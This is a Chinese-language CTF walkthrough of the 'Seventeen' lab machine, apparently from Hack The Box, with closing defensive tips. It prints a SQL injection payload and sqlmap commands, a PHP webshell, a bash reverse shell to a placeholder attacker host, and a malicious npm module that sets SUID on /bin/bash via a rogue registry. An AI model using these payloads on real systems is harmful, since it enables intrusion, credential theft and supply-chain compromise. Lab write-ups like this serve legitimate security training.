实战打靶之seventeen
字数 1481 2025-08-12 11:34:50
Seventeen靶机渗透测试实战教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初始扫描:
nmap -sV -p- target_ip
发现开放端口:
- 22 (OpenSSH)
- 80 (Apache)
- 8000 (Apache)
根据服务版本推测操作系统为Ubuntu 18.04
1.2 Web目录枚举
使用feroxbuster进行目录爆破:
feroxbuster -u http://target_ip -w /path/to/wordlist.txt
未发现有用信息
1.3 子域名枚举
使用wfuzz进行子域名探测:
wfuzz -c -w /path/to/subdomains.txt -H "Host: FUZZ.seventeen.htb" target_ip
发现子域名:exam.seventeen.htb
2. 漏洞发现与利用
2.1 SQL注入漏洞
- 访问exam子域,发现考试管理系统
- 在/admin/login.php发现提示信息
- 使用searchsploit搜索历史漏洞:
searchsploit exam management system
- 发现有效payload:
poc=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu
2.2 SQLMap自动化利用
- 判断注入点:
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch
- 枚举数据库:
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --dbs
- 枚举表:
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -D database_name --tables
- 发现../oldmanagement/files/目录提示
- 枚举user表内容获取凭据
2.3 密码破解
使用CrackStation或somd5解密获取密码:
- 密码:autodestruction
3. 获取初始访问权限
3.1 文件上传与命令执行
- 使用获取的凭据登录系统
- 发现文件上传功能
- 上传PHP webshell:
<?php system($_GET['cmd']); ?>
- 访问上传的webshell执行命令:
http://target/path/to/shell.php?cmd=id
3.2 获取反向shell
- 使用nc监听:
nc -lvnp 4444
- 通过webshell执行:
bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
3.3 升级shell
script /dev/null -c bash
4. 主机信息收集
4.1 数据库凭据发现
在配置文件中发现:
- /var/www/oldmanagement/admin/conn.php
- /var/www/mastermailer/config/config.inc.php
包含数据库凭据: - 用户名:root
- 密码:2020bestyearofmylife
4.2 SSH登录
使用发现的凭据:
ssh root@target_ip
5. 权限提升
5.1 邮件信息分析
在/var/mail/kavi发现重要信息:
- 提到新项目和私有注册表
- 旧记录器被替换为loglevel(JavaScript记录应用)
5.2 本地服务枚举
发现本地监听服务:
- Roundcube邮件服务器:110, 143, 993, 995
- MySQL:3306
- DNS:53
- Docker转发:8081 (exams), 8082 (oldmanager)
- 未知服务:4873(与.npm相关)
5.3 NPM模块分析
- 在node_modules中发现db-logger模块
- 分析package.json和JavaScript文件
- 发现数据库凭据:
var con = mysql.createConnection({
host: "localhost",
user: "root",
password: "IhateMathematics123#",
database: "logger"
});
5.4 创建恶意NPM模块
- 创建loglevl目录并初始化:
mkdir loglevl && cd loglevl
npm init
- 编辑index.js文件添加恶意代码:
module.exports = {
log: function() {
require('child_process').exec('chmod +s /bin/bash');
}
}
5.5 搭建本地Verdaccio
- 拉取Docker镜像:
docker pull verdaccio/verdaccio
- 运行容器:
docker run -d --name verdaccio -p 4873:4873 verdaccio/verdaccio
5.6 发布并触发恶意模块
- 修改.npmrc指向攻击者控制的注册表
- 运行启动脚本触发模块:
sudo /opt/app/startup.sh
- 获取root shell:
/bin/bash -p
6. 总结与关键点
6.1 渗透路径总结
- 信息收集 → 子域名枚举 → SQL注入 → 数据库凭据获取 → 初始访问
- 主机信息收集 → 邮件分析 → NPM模块漏洞 → 权限提升
6.2 关键学习点
- 子域名枚举在CTF中的重要性
- 历史漏洞搜索和验证技巧
- SQLMap的高级使用技巧
- 配置文件信息泄露的利用
- NPM模块的安全风险和利用方法
- 通过恶意包进行权限提升的技术
6.3 防御建议
- 对用户输入进行严格过滤防止SQL注入
- 避免在配置文件中存储明文凭据
- 限制文件上传类型和内容
- 定期更新第三方组件和依赖
- 实施最小权限原则
- 监控异常的网络活动和进程行为